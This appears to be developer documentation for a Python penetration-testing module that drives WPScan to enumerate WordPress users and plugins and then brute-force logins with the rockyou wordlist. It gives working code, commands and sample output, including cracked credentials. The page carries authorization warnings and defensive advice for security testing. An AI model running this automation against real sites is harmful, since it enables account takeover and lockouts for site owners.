Skip to main content

Overview

The WPForceBrute module automates WordPress security testing using WPScan. It performs user enumeration, vulnerability detection for plugins/themes, and password brute-forcing against discovered user accounts.
Authorization Required: Brute-force attacks can lock out legitimate users and may be logged as malicious activity. Only test WordPress installations you own or have explicit written permission to test.

Module Location

services/wpforce_brute.py

Class Definition

class WPForceBrute:
    def __init__(self, host: Host):
        self.host = host
        self.wp_dir = Path(f"{Config.OUTPUT_BASE}/wpscan")
        self.wp_dir.mkdir(parents=True, exist_ok=True)

Core Methods

_parse_wpscan_users()

Extracts WordPress usernames from WPScan output.
def _parse_wpscan_users(self, output):
    """Extraer usuarios encontrados por WPScan"""
    users = []
    for match in re.findall(r'\[!\]\s*(?:Login|Username)\s*found:\s*(\S+)', output, re.IGNORECASE):
        users.append(match)
    # Formato alternativo WPScan
    for match in re.findall(r'\|\s*(\w+)\s*\|', output):
        if match.lower() not in ['name', 'id', 'login', 'slug', 'status']:
            users.append(match)
    return list(set(users))
Supported Output Formats:
  1. Alert Format: [!] Username found: admin
  2. Table Format: | admin | (excludes header keywords)
Example Output:
   👥 Usuarios encontrados: admin, editor, author

_parse_brute_results()

Extracts successful credentials from brute-force output.
def _parse_brute_results(self, output):
    """Extraer credenciales del brute-force"""
    creds = []
    # Buscar formato: | user | password |
    for match in re.findall(r'SUCCESS.*?(\w+)\s*[:\|]\s*(\S+)', output, re.IGNORECASE):
        creds.append({'source': 'WPScan Brute-Force', 'user': match[0], 'password': match[1], 'hash': ''})
    # Formato alternativo
    for match in re.findall(r'Valid Combination.*?Username:\s*(\S+).*?Password:\s*(\S+)', output, re.IGNORECASE):
        creds.append({'source': 'WPScan Brute-Force', 'user': match[0], 'password': match[1], 'hash': ''})
    return creds
Credential Format:
{
    'source': 'WPScan Brute-Force',
    'user': 'admin',
    'password': 'password123',
    'hash': ''
}

attack()

Main attack method with two-phase testing: enumeration then brute-force.
def attack(self):
    vulns = []
    print("   🔓 WPScan (Enumeración + Brute-Force)...")
    
    for port, service in list(self.host.ports_open.items())[:5]:
        if 'http' not in service['service'].lower():
            continue
        
        for path in Config.WORDPRESS_PATHS:
            url = f"http://{self.host.ip}:{port}{path}"
            output_file = self.wp_dir / f"wpscan_{self.host.ip}_{port}_{path.replace('/', '_')}.txt"
Tests up to 5 HTTP ports against common WordPress paths from Config.WORDPRESS_PATHS (e.g., /, /wordpress/, /blog/).

Phase 1: Enumeration & Vulnerability Detection

WPScan Enumeration Command

# PASO 1: Enumerar usuarios y vulnerabilidades
print(f"   🔍 WPScan enumerar: {url}")

cmd_enum = [
    'wpscan', '--url', url,
    '--enumerate', 'u,vp,ap',
    '--no-banner', '--disable-tls-checks',
    '--output', str(output_file)
]
Enumeration Options:
  • u: Users (via author archives, JSON API, XML-RPC)
  • vp: Vulnerable plugins
  • ap: All plugins (installed)
  • --no-banner: Suppress WPScan banner
  • --disable-tls-checks: Allow self-signed certificates
Execution:
try:
    result = subprocess.run(cmd_enum, capture_output=True, text=True, timeout=180)
    full_output = result.stdout
    
    if any(kw in full_output.lower() for kw in ['vulnerable', 'critical', 'high', 'users found', 'user(s) identified']):
        vuln = Vulnerability(
            name="🔴 WORDPRESS VULNERABILIDADES",
            description=f"WPScan detectó vulnerabilidades: {url}",
            port=port,
            risk=RiskLevel.CRITICAL,
            evidence_file=str(output_file),
            recommendations="Actualizar WordPress + Plugins, WAF, deshabilitar XML-RPC"
        )
        vulns.append(vuln)
        print(f"   💥 Vulnerabilidades WordPress encontradas!")
Timeout: 180 seconds (3 minutes) Vulnerability Detection Triggers:
  • Keywords: vulnerable, critical, high
  • User detection: users found, user(s) identified
Example Enumeration Output:
   🔍 WPScan enumerar: http://192.168.56.101/wordpress/
   💥 Vulnerabilidades WordPress encontradas!
   👥 Usuarios encontrados: admin, editor, wpuser

Phase 2: Brute-Force Attack

WPScan Brute-Force Command

# PASO 2: Brute-Force con diccionario
wordlist = Config.WORDLIST_PATH
if Path(wordlist).exists():
    brute_output = self.wp_dir / f"brute_{self.host.ip}_{port}.txt"
    print(f"   🔐 Brute-force con rockyou.txt...")
    
    cmd_brute = [
        'wpscan', '--url', url,
        '--enumerate', 'u',
        '--passwords', wordlist,
        '--max-threads', '10',
        '--no-banner', '--disable-tls-checks',
        '--output', str(brute_output)
    ]
Brute-Force Parameters:
  • --enumerate u: Re-enumerate users before attack
  • --passwords: Path to wordlist (typically rockyou.txt)
  • --max-threads 10: Parallel login attempts
  • Timeout: 600 seconds (10 minutes)
Execution & Credential Extraction:
try:
    brute_result = subprocess.run(cmd_brute, capture_output=True, text=True, timeout=600)
    
    creds = self._parse_brute_results(brute_result.stdout)
    if creds:
        self.host.credentials.extend(creds)
        for c in creds:
            print(f"   🔑 CREDENCIAL: {c['user']} : {c['password']}")
        
        vuln_brute = Vulnerability(
            name="🔴 WORDPRESS CONTRASEÑAS DÉBILES",
            description=f"Brute-force exitoso: {len(creds)} credenciales obtenidas",
            port=port,
            risk=RiskLevel.CRITICAL,
            evidence_file=str(brute_output),
            recommendations="Contraseñas robustas, limitar intentos login, 2FA"
        )
        vulns.append(vuln_brute)
except subprocess.TimeoutExpired:
    print(f"   ⏰ Brute-force timeout (10min)")
Success Output:
   🔐 Brute-force con rockyou.txt...
   🔑 CREDENCIAL: admin : password123
   🔑 CREDENCIAL: editor : welcome1

Wordlist Handling

wordlist = Config.WORDLIST_PATH
if Path(wordlist).exists():
    # Proceed with brute-force
else:
    print(f"   ⚠️ Wordlist no encontrada: {wordlist}")
Default Wordlist: Config.WORDLIST_PATH typically points to /usr/share/wordlists/rockyou.txt (14 million passwords).

Error Handling

except subprocess.TimeoutExpired:
    print(f"   ⏭️ WPScan timeout en {url}")
except Exception as e:
    print(f"   ⚠️ Error WPScan: {e}")
Timeout Scenarios:
  • Enumeration: 180s (slow server or many plugins)
  • Brute-force: 600s (large wordlist or rate limiting)

Output Files

Results stored in:
{OUTPUT_BASE}/wpscan/
  ├── wpscan_{IP}_{PORT}_{PATH}.txt   # Enumeration results
  └── brute_{IP}_{PORT}.txt           # Brute-force results

Configuration Requirements

Config.WORDPRESS_PATHS = ["/", "/wordpress/", "/wp/", "/blog/"]
Config.WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"

WPScan API Token

For vulnerability database access, set environment variable:
export WPSCAN_API_TOKEN="your_token_here"
Obtain free token at: https://wpscan.com/register

Dependencies

  • wpscan: Ruby-based WordPress scanner
  • wordlist: rockyou.txt or custom password list

Security Considerations

  1. Account Lockout: Brute-forcing may trigger WordPress login limiters (e.g., Wordfence, Limit Login Attempts)
  2. IP Blocking: Servers may blacklist source IP after failed attempts
  3. Detection: WordPress security plugins log and alert on enumeration attempts
  4. Rate Limiting: --max-threads 10 can overwhelm small servers; reduce if needed
  5. Legal Risk: Unauthorized brute-forcing is a criminal offense in most jurisdictions

Recommendations for Defense

From vulnerability output:
Actualizar WordPress + Plugins
WAF (Web Application Firewall)
Deshabilitar XML-RPC
Contraseñas robustas
Limitar intentos de login
2FA (Two-Factor Authentication)
  • NmapScanner: Identifies HTTP services to test
  • GobusterEnum: Discovers WordPress installation paths
  • HashCracker: Not applicable (WordPress uses bcrypt, not MD5)

Build docs developers (and LLMs) love